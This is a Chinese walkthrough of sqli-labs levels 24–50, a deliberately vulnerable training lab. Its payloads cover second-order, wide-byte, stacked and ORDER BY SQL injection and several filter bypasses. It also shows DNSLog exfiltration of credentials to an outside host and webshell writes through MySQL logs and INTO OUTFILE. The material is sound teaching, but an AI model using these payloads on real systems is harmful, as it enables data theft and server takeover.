创建新用户的表单页面,本文件主要存放前段代码。

  • login_create.php

创建新用户的后端代码,下面来简单理一下代码的流程:

# 接受用户提交的用户名和密码值 并进行 mysql 安全函数转义
username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

# 查询当前用户信息

$sql = "select count(*) from users where username='$username'";
如果当前用户已经存在 无法注册

if 两次输入密码一致:
  # 将记录插入数据库中
  $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
    查询完成后 重定向到首页
else:
    提示两次输入密码不一致
  • login.php
# 登录用户名和密码都被过滤了
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
  • pass_change.php
if 检测未登录:
    重定向到首页
if 检测到提交表单:
  # 对 pass 都进行了过滤
  $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);

    if 两次密码一致:
        # 直接将 username 拼接到 SQL 语句
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    else:
        提示密码不一致 并重定向到 fail.php

思路分析

从代码上来看貌似都被转义了,乍一看是成功注入的。实际上的确不能使用常规的思路来进行注入,因为这题是二次注入,ISCC 2019 当时使用这题的考查点是修改掉 admin 用户的密码,然后再登录即可。假设不知道 admin 用户的情况下,想要修改掉 admin 用户的密码的话,这里就使用的是二次注入的姿势了。

二次注入简单概括就是黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。

先看创建用户的地方:

username =  mysql_escape_string($_POST['username']) ;

username 被 mysql_escape_string 函数过滤了,该函数的作用如下:

危险字符 转义后
\ \\
' \'
" \"

再看下更新密码的核心语句:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为: admin'# ,那么此时的完整语句就为:

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

此时就完全改变了语义,直接就修改掉了 admin 用户的密码。

步骤演示

常见一个 admin'# 开头的用户名,下面列举的几种都可以,以此类推,很灵活:

admin'#1
admin'#233
admin'#gg
...

注册完成后数据库的记录信息如下:

mysql> select * from users;
+----+---------------+------------+
| id | username      | password   |
+----+---------------+------------+
| 20 | admin'#hacker | 111        |
+----+---------------+------------+

成功添加了记录,这里单引号数据库中中看没有被虽然转义了,这是因为转义只不过是暂时的,最后存入到数据库的时候还是没变的。

接下来登录 admin'#hacker 用户,然后来修改当前的密码:

此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:

mysql> select * from users;
+----+---------------+------------+
| id | username      | password   |
+----+---------------+------------+
|  8 | admin         | 233        |
| 20 | admin'#hacker | 111        |
+----+---------------+------------+

Less-25

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id='$id'

关键代码分析:

# id 直接单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 但是 id 被如下函数过滤了
$id= preg_replace('/or/i',"", $id);    
$id= preg_replace('/AND/i',"", $id);
return $id;

过滤了 or 和 and 关键词,但是还存在很多方法可以绕过,下面具体演示一下:

双写嵌套绕过

?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(username,passwoorrd+SEPARATOORR+0x3c62723e)+FROM+users)--+

password 写成了 passwoorrdSEPARATOR 写成 SEPARATOORR

###符号替换

or -> ||

and -> &&

?id=1'||extractvalue(1,concat(0x7e,database()))--+

Less-25a

请求方式 注入类型 拼接方式
GET 联合、布尔盲注、延时盲注 id=$id

与 Less-25 相比,只是拼接方式改变,因为代码中没有输出报错信息,所以也无法进行报错注入,其他利用方式都是一样的,国光这里不再啰嗦。

Less-26

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id='$id'

简单源码分析:

# 过滤了 or 和 and 大小写
$id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)

# 过滤了 /*
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*

# 过滤了 -- 和 # 注释
$id= preg_replace('/[--]/',"", $id);        //Strip out --
$id= preg_replace('/[#]/',"", $id);            //Strip out #

# 过滤了空格
$id= preg_replace('/[\s]/',"", $id);        //Strip out spaces

# 过滤了斜线
$id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
return $id;

过滤了 or 和 and 可以采用 双写或者 && || 绕过

过滤注释 可以使用闭合绕过

过滤了空格 可以使用如下的符号来替代:

符号 说明
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

直接上 payload 吧:

?id=100'%0bunion%0bselect%0b1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,passwoorrd,0x3c62723e))))x),3%0baandnd%0b'1'='1

Less-26a

请求方式 注入类型 拼接方式
GET 联合、布尔盲注、延时盲注 id=('$id')

与 Less-26 相比,只是拼接方式改变了,因为没有输出报错信息,所以不能使用报错注入了,然后不再啰嗦,大家可以自行测试。

Less-27

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id=('$id')

过滤规则又增加了许多:

# 过滤了 /*
$id= preg_replace('/[\/\*]/',"", $id);
# 过滤了 -
$id= preg_replace('/[--]/',"", $id);
# 过滤了 #
$id= preg_replace('/[#]/',"", $id);
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id);
# 过滤了 select /m 严格模式 不可以使用双写绕过
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);

# 过滤了 union UNION
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
return $id;

union 和 select 没有忽略大小写 导致写了很多冗杂的规则,但还是可以轻易绕过。

# 大小写混写
unioN
unIon
seLect
...

# 嵌套双写
uunionnion
sselectelect
ununionion
...

很多种方案,不再赘述,下面直接丢 payload:

?id=100'%0bununionion%0bseLect%0b1,(seLect(@x)FROM(seLect(@x:=0x00) ,(seLect(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3%0band%0b'1

Less-27a

请求方式 注入类型 拼接方式
GET 联合、布尔盲注、延时盲注 id="$id"

和 Less-27 相比,只是拼接方式发生了改变,又因为没有报错日志的输出,所以少了报错注入的利用方式,利用方式换汤不换药,这里不做演示了。

Less-28

请求方式 注入类型 拼接方式
GET 联合、布尔盲注、延时盲注 id=('$id')

过滤规则如下:

# 过滤 /*
$id= preg_replace('/[\/\*]/',"", $id);

# 过滤 - # 注释
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);

# 过滤 空格 +
$id= preg_replace('/[ +]/',"", $id);.

# 过滤 union select /i 大小写都过滤
$id= preg_replace('/union\s+select/i',"", $id);
return $id;

这里 union 和 select 这里可以使用双写嵌套绕过,过滤了注释的话 就使用闭合绕过,过滤了空格使用 Less-26 的编码绕过,OK分析完成后直接放完整的 payload 吧:

?id=100')%0bunion%a0select%0b1,(SELECT%0bGROUP_CONCAT(username,password%0bSEPARATOR%0b0x3c62723e)%0bFROM%0busers),3%a0and%0b('1

Less-28a

请求方式 注入类型 拼接方式
GET 联合、布尔盲注、延时盲注 id=('$id')

比 Less-27 还少了几个过滤规则,这样直接丢 payload 吧:

?id=-1') union%a0select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users) --+

Less-29

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id=('$id')

这一题和注入天书里面描述的环境不太一样,还是具体分析看下代码吧。

  • index.php
# id = 'x' 的拼接方式
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

if 查询到结果:
    输出查询的详细信息
else:
    print_r(mysql_error());

从源码来看的话和前面的貌似没有啥区别,直接尝试联合注入看看吧:

index.php?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users) --+

这个 index.php 太简单了,不知道啥意思,下面直接重点来看 login.php 吧:

  • login.php
# 查询 query 的字符串
$qs = $_SERVER['QUERY_STRING'];

# 模拟 tomcat 的查询函数 处理一下
$id1=java_implimentation($qs);
$id=$_GET['id'];

# 再次过滤检测
whitelist($id1);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

if 查询到结果:
    输出查询的详细信息
else:
    print_r(mysql_error());
?>

function java_implimentation($query_string)
{
    $q_s = $query_string;
    # & 作为分隔符 分割字符串
    $qs_array= explode("&",$q_s);

    # 遍历 qs_array 数组
    foreach($qs_array as $key => $value)
    {    
        $val=substr($value,0,2);
        # 如果数组前两位是 id 的话
        if($val=="id")
        {    
            # 截取 $value 的3-30 的字符串 作为 id 的值 
            $id_value=substr($value,3,30); 
            return $id_value;
            echo "<br>";
            break;
        }
    }
}

function whitelist($input)
{
    # 过滤规则 检测数字
    $match = preg_match("/^\d+$/", $input);
    if 不符合规则:
        header('Location: hacked.php');
}

从代码中还是很容易发现问题的,关键问题出在下面的地方:

$id1=java_implimentation($qs);
...
whitelist($id1);

whitelist 过滤是比较严格的,如果 id 不是数字的话就会直接重定向到 hacked.php ,这里是没毛病的。那么问题出在了这里函数 $id1=java_implimentation($qs);

因为 return 表示了函数的结束运行,所以这个函数捕捉到 id 的时候就会返回 return $id_value ,这样就导致了 用户加入构造两组 id 的话,那么后面的 id 就会绕过函数检测。

假设用户输入这样的语句:

index.php?id=1&id=2

Apache PHP 会解析最后一个参数

Tomcat JSP 会解析第一个参数

知道这个原理的话后面尝试直接注入吧:

login.php?id=1&id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-30

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id="$id"

和 Less-29 相比没有啥本质变化,只是拼接方式不一样。

Less-31

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id=("$id")

和 Less-29 相比没有啥本质变化,只是拼接方式不一样。

Less-32

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id='$id'

考察 Bypass addslashes(),关键的防护代码如下:

if(isset($_GET['id']))
$id=check_addslashes($_GET['id']);

# 在' " \ 等敏感字符前面添加反斜杠
function check_addslashes($string)
{        # \ 转换为 \\
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          将       # 将 ' 转为\"
    $string = preg_replace('/\'/i', '\\\'', $string);   
      # 将 " 转为\"
    $string = preg_replace('/\"/', "\\\"", $string);                                
    return $string;
}

宽字节注入原理

MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \ ,所以这里想办法干掉反斜杠即可。

  1. %df 吃掉 \

具体的原因是 urlencode(\') = %5c%27 ,我们在 %5c%27 前面添加 %df ,形 成 %df%5c%27 ,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c 当做是一个汉字, %27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

  1. \' 中的 \ 过滤掉

例如可以构造 %5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。这也是 bypass 的一种方法。

本关卡采用第一种 %df 宽字节注入来吃掉反斜杠,下面直接丢 payload 吧:

?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-33

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id='$id'

拼接方式也是一样的,过滤方法细节有点变化,具体如下:

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符 转义后
\ \\
' \'
" \"

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串,和 Less-32 的函数功能是差不的,依旧可以使用宽字节进行注入。

注入天书:使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞

Less-34

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username='$uname'

过滤方法依然和 Less-33 一致:

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

只是由 GET 型变成了 POST 型,所以下面直接丢 POST 的数据包 payload 了:

uname=admin%df' union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=233

MySQL 注入天书这里介绍了一个新的方法

将 utf-8 转换为 utf-16 或 utf-32,例如将 ' 转为 utf-16 为``

我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:

➜  ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜  ~ echo \'|iconv -f utf-8 -t utf-32
��'

首先尝试一个经典的万能密码:

uname=�' or 1#&passwd=

为什么这个万能密码可以生效呢,因为拼接到 SQL 中是如下的效果:

SELECT username, password FROM users WHERE username='�' or 1#and password='$passwd' LIMIT 0,1

or 1 是一个永真的条件,不论 select 选择出的内容是什么。 or 1 之后时钟都是 1,下面是控制后台的演示:

# where username = 'x' or 1
mysql> select * from users where username = 'x' or 1;
+----+---------------+------------+
| id | username      | password   |
+----+---------------+------------+
|  1 | Dumb          | Dumb       |
|  2 | Angelina      | I-kill-you |
|  3 | Dummy         | p@ssword   |
|  4 | secure        | crappy     |
|  5 | stupid        | stupidity  |
|  6 | superman      | genious    |
|  7 | batman        | mob!le     |
|  8 | admin         | 233        |
|  9 | admin1        | admin1     |
| 10 | admin2        | admin2     |
| 11 | admin3        | admin3     |
| 12 | dhakkan       | dumbo      |
| 14 | admin4        | admin4     |
| 21 | admin'#hacker | 111        |
+----+---------------+------------+
14 rows in set (0.00 sec)

# where username = 'x' or 0
mysql> select * from users where username = 'x' or 0;
Empty set (0.00 sec)

# where 1
mysql> select * from users where 1;
+----+---------------+------------+
| id | username      | password   |
+----+---------------+------------+
|  1 | Dumb          | Dumb       |
|  2 | Angelina      | I-kill-you |
|  3 | Dummy         | p@ssword   |
|  4 | secure        | crappy     |
|  5 | stupid        | stupidity  |
|  6 | superman      | genious    |
|  7 | batman        | mob!le     |
|  8 | admin         | 233        |
|  9 | admin1        | admin1     |
| 10 | admin2        | admin2     |
| 11 | admin3        | admin3     |
| 12 | dhakkan       | dumbo      |
| 14 | admin4        | admin4     |
| 21 | admin'#hacker | 111        |
+----+---------------+------------+
14 rows in set (0.00 sec)

# where 0
mysql> select * from users where 0;
Empty set (0.00 sec)

那么直接尝试一下最基本的联合查询注入看看:

uname=�' and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=

也是 OK 的

Less-35

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id=$id

Less-35 的防护措施有点搞笑,首先 id 使用了如下规则过滤:

$id=check_addslashes($_GET['id']);

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

但是本关的拼接方式是:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

实际进行注入利用的时候并不需要写单引号,那么就尝试直接注入看看吧:

?id=-1 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) --+

Less-36

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id='$id'

主要防护代码:

$id=check_quotes($_GET['id']);

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

这一关主要考查了 Bypass MySQL Real Escape String,mysql_real_escape_string 会检测并转义如下危险字符:

危险字符 转义后
\ \\
' \'
" \"

这一关使用 Less-34 关的两种思路依然是可行的,下面直接尝试 payload 进行注入吧:

?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) --+

或者

?id=-1�' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) --+

Less-37

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username='$uname'

依然使用了 和 Less-36 的防护方法:

$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);

所以利用思路也是一毛一样的,只是由 GET 型变成了 POST 型了,下面就直接尝试注入吧:

uname=%df' and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=

或者:

uname=�' and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=

堆叠注入 38-53 关

原理介绍

MySQL 的命令行中,每一条语句以 ; 结尾,这代表语句的结束,如果在注入过程中在 ; 后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 (stacked injection) 。下面就是简单的示例:

mysql> select * from users where id = 1;select version();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

+-------------------------+
| version()               |
+-------------------------+
| 5.5.44-0ubuntu0.14.04.1 |
+-------------------------+
1 row in set (0.00 sec)

与 union select 联合查询相比,堆叠查询更加灵活,可以执行任意的 SQL 语句。

局限性

  1. 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
  2. 在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略

这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等

各个数据库堆叠查询实例

MySQL

select * from users where id=1;select version();

SQL Server

select 1,2,3;select * from test;

Postgresql

select * from user_test;select 1,2,3;

注入天书里面说 Oracle 不支持堆叠查询,这个国光我对 Oracle 不熟悉,以后接触到了国光再亲自尝试看看。

Less-38

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注、堆叠注入 id='$id'

又到了简单源码分析的时间了,来看看堆叠注入的代码是如何实现的:

# id 参数直接带入到 SQL 语句中
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
    输出查询信息
else:
    print_r(mysqli_error($con1));

发现和之前的关卡区别不大,唯一的区别就是查询 SQL 语句由原来的:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

变成了现在的:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))

mysqli_multi_query 函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。

既然知道原理了 那么这一关就详细演示一下这个堆叠注入如何灵活使用:

添加字段值

?id=1';insert into users(username,password) values ('hello','world');

数据库中查看是否添加成功:

mysql> select * from users where username = 'hello';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 23 | hello    | world    |
+----+----------+----------+

但是这个貌似并没有什么作用,但是注入天书里面也没有说其他的姿势,实际上看到这里的人应该明白后面是可以执行任意 SQL 语句的,那么这个怎么进行漏洞利用的话 就完全看你的想象力了,接下来国光演示我认为比较实用的姿势。

DNSLog 数据外带

需要条件:

  1. MySQL 开启 load_file()
  2. DNSLog 平台 ( HyugaCEYE
  3. Windows 平台

load_file 函数在 Linux 下是无法用来做 DNSLog 攻击的,因为在这里就涉及到 Windows 的 UNC 路径。

其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式

\\192.168.31.53\test\

CONCAT() 函数拼接了4个 \ 了,因为转义的原因,4个就变 \ 成了2个 \ ,目的就是利用 UNC 路径。

因为 Linux 没有 UNC 路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的。

下面国光临时使用 Windows 下的 PHPStudy 来搭建 sqli-labs 测试环境:

?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.gvc791.ceye.io\\abc'))--+

Hex 编码的目的就是减少干扰,因为域名是有一定的规范,有些特殊符号是不能带入的有。

手动 Hex 解码即可

开启日志 Getshell

需要条件:

  1. Web 的物理路径
  2. MySQL 可以读写 Web 目录
  3. Windows 成功率 高于 Linux

首先查看当前的日志的相关配置:

mysql> SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name    | Value                           |
+------------------+---------------------------------+
| general_log      | OFF                             |
| general_log_file | /var/lib/mysql/bb198f1a9cc6.log |
+------------------+---------------------------------+

Docker 里面的这个 Ubuntu 环境默认是没有开启的,这里尝试注入的时候手动开启:

?id=1';set global general_log = "ON";set global general_log_file='/var/www/html/shell.php';--+

然后 MySQL 再查看日志配置是否被修改了:

mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-------------------------+
| Variable_name    | Value                   |
+------------------+-------------------------+
| general_log      | ON                      |
| general_log_file | /var/www/html/shell.php |
+------------------+-------------------------+

这个尝试 getshell:

?id=1';select <?php phpinfo();?>

日志里面就会记录 <?php phpinfo();?> ,浏览器访问查看:

查看一下当的日志文件:

$ cat /var/www/html/shell.php
200517  8:47:04       10 Connect    root@localhost on security
           10 Init DB    security
           10 Query    SELECT * FROM users WHERE id='1';select '<?php phpinfo();?>'-- ' LIMIT 0,1

此时已经成功写入了,但是因为这个文件属于 mysql 用户组的,国光我测试并没有成功执行:

$ ls -l  /var/www/html/shell.php
-rw-rw---- 1 mysql mysql 171 May 17 08:47 /var/www/html/shell.php

不过在 Windows 下 phpstudy 测试是可以很成功的 getshell 的,如果有师傅补充的话 欢迎评论区留言!

Less-39

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注、堆叠注入 id=$id

和 Less-38 相比没有啥区别,只是拼接方式不一样。

Less-40

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注、堆叠注入 id=('$id')

和 Less-38 相比只是拼接方式不一样。

但是看了这一关源码下面还有其他文件,类似于 Less-24 的二次注入,看了下源码貌似和 Less-24 是一样的,可能是作者的疏忽吧,忘记删掉这些不相干的文件了。

Less-41

请求方式 注入类型 拼接方式
GET 联合、布尔盲注、延时盲注、堆叠注入 id=$id

和 Less-39 类似,因为少了报错输出,所以这里不能报错注入,其他注入方式一样,国光这里不再赘述。

Less-42

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注、堆叠注入 username='$username'
  • index.php

没有啥核心代码,PHP 和 HTML 混写,只要写了登录的表单,并提供了忘记密码和创建用户的链接,相比于 Less-24 的二次注入,这两个链接都不能直接访问,无法直接创建用户。

  • forgot_password.php

if you forgot your password,go to hack it

  • acc-create.php

if you need to create account,then hack your way in

  • failed.php

Bug off you silly dump hacker

  • login.php
# username 被过滤 ' " \ password 没有被
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

# 堆叠查询
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
mysqli_multi_query($con1, $sql))

if 查询成功:
    return $row[1];
else:
    print_r(mysqli_error($con1));

if 登录成功:
    setcookie("Auth", 1, time()+3600);
    跳转到 logged-in.php
  • logged-in.php

登录成功,提供修改密码的表单

<form name="mylogin" method="POST" action="pass_change.php">
  • pass_change.php
if 没有登录:
    重定向到 index.php

if 提交了修改密码表单:
    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);

    if $pass==$re_pass:
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

这一题漏洞比较多,首先 login.php 中 password 没有过滤,可以进行常规的报错注入以及盲注,同时本身又支持堆叠查询,所以也支持堆叠注入。 pass_change.php update 语句存在漏洞,典型的二次注入,类似于 Less-24。

经典的 万能密码 绕过 1' or 1# :

POST /Less-42/login.php HTTP/1.1
...

login_user=admin&login_password=1' or 1#&mysubmit=Login

因为登录成功后返回:

return $row[1];

所以登录了 id 为 1 的 Dumb 用户:

尝试联合查询:

POST /Less-42/login.php HTTP/1.1
...

login_user=admin&login_password=1' union select 1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3#&mysubmit=Login

报错注入:

login_user=admin&login_password=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&mysubmit=Login

同理这里也可以进行盲注和堆叠查注入,国光这里不再赘述。

Less-43

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注、堆叠注入 username=('$username')

和 Less-42 的利用方式一致,这里只是拼接方式不一样而已,不再赘述。

Less-44

请求方式 注入类型 拼接方式
POST 联合、布尔盲注、延时盲注、堆叠注入 username='$username'

和 Less-43 的利用方式一致,因为没有输出报错信息,所以这里少了报错注入的利用方式。

Less-45

请求方式 注入类型 拼接方式
POST 联合、布尔盲注、延时盲注、堆叠注入 username=('$username')

与 Less-43 闭合方式一致,只是这里少了报错注入的利用方法。

Less-46

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 ORDER BY $id
# GET 方式获取 sort 参数
$id=$_GET['sort'];

# 直接将 id 带入 SQL 中
$sql = "SELECT * FROM users ORDER BY $id";

if 查询成功:
    输出查询信息
else:
    print_r(mysql_error());

order by 不同于 where 后的注入点,不能使用 union 等进行注入。注入方式十分灵活,下面在本关来详细讲解一下。

验证方式

  • 升序和降序验证
# 升序排序
?sort=1 asc

# 降序排序
?sort=1 dasc
  • rand() 验证

rand(ture) 和 rand(false) 的结果是不一样的

?sort=rand(true)
?sort=rand(false)

所以利用这个可以轻易构造出一个布尔和延时类型盲注的测试 payload

此外 rand() 结果是一直都是随机的

?sort=rand()
?sort=1 and rand()
  • 延时验证
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)

这种方式均可以延时,延时的时间为 (行数*1) 秒

报错注入1

?sort=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)

报错注入2

利用 procedure analyse 参数,也可以执行报错注入。

?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(':',username,password)+FROM+users limit 0,1))),1)

布尔盲注

数据库第 1 位为:s

?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')

延时盲注

数据库第一个字母的 ascii 码为 115,即 s

?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

into outfile

将查询结果导入到文件中:

?sort=1 into outfile "/var/www/html/less46.txt"

如果导入不成功的话,很可能是因为 Web 目前 MySQL 没有读写权限造成的。

访问验证是否有信息:

$ curl http://127.0.0.1:8888/less46.txt
1    Dumb    Dumb
2    Angelina    I-kill-you
3    Dummy    p@ssword
4    secure    crappy
5    stupid    stupidity
6    superman    genious
7    batman    mob!le
8    admin    admin
9    admin1    admin1
10    admin2    admin2
11    admin3    admin3
12    dhakkan    dumbo
14    admin4    admin4

利用导出文件 getshell:

注入天书里面提供了 lines terminated by 姿势用于 order by 的情况来 getsgell:

?sort=1 into outfile "/var/www/html/less46.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();> 的十六进制编码。

来查看下写入的文件内容是啥样子的:

$ cat /var/www/html/less46.php 
1    Dumb    Dumb<?php phpinfo();?>2    Angelina    I-kill-you<?php phpinfo();?>3    Dummy    p@ssword<?php phpinfo();?>4    secure    crappy<?php phpinfo();?>5    stupid    stupidity<?php phpinfo();?>6    superman    genious<?php phpinfo();?>7    batman    mob!le<?php phpinfo();?>8    admin    admin<?php phpinfo();?>9    admin1    admin1<?php phpinfo();?>10    admin2    admin2<?php phpinfo();?>11    admin3    admin3<?php phpinfo();?>12    dhakkan    dumbo<?php phpinfo();?>14    admin4    admin4<?php phpinfo();?>

浏览器访问测试看看:

Less-47

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 ORDER BY '$id'

和 Less-46 相比,利用方式不变,只是拼接方式方式变化,注入的时候只要正常闭合即可。

Less-48

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 ORDER BY $id

和 Less-46 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里国光不再过多演示了。

Less-49

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 ORDER BY '$id'

和 Less-47 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里国光不再过多演示了。

Less-50

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注、堆叠注入 ORDER BY $id

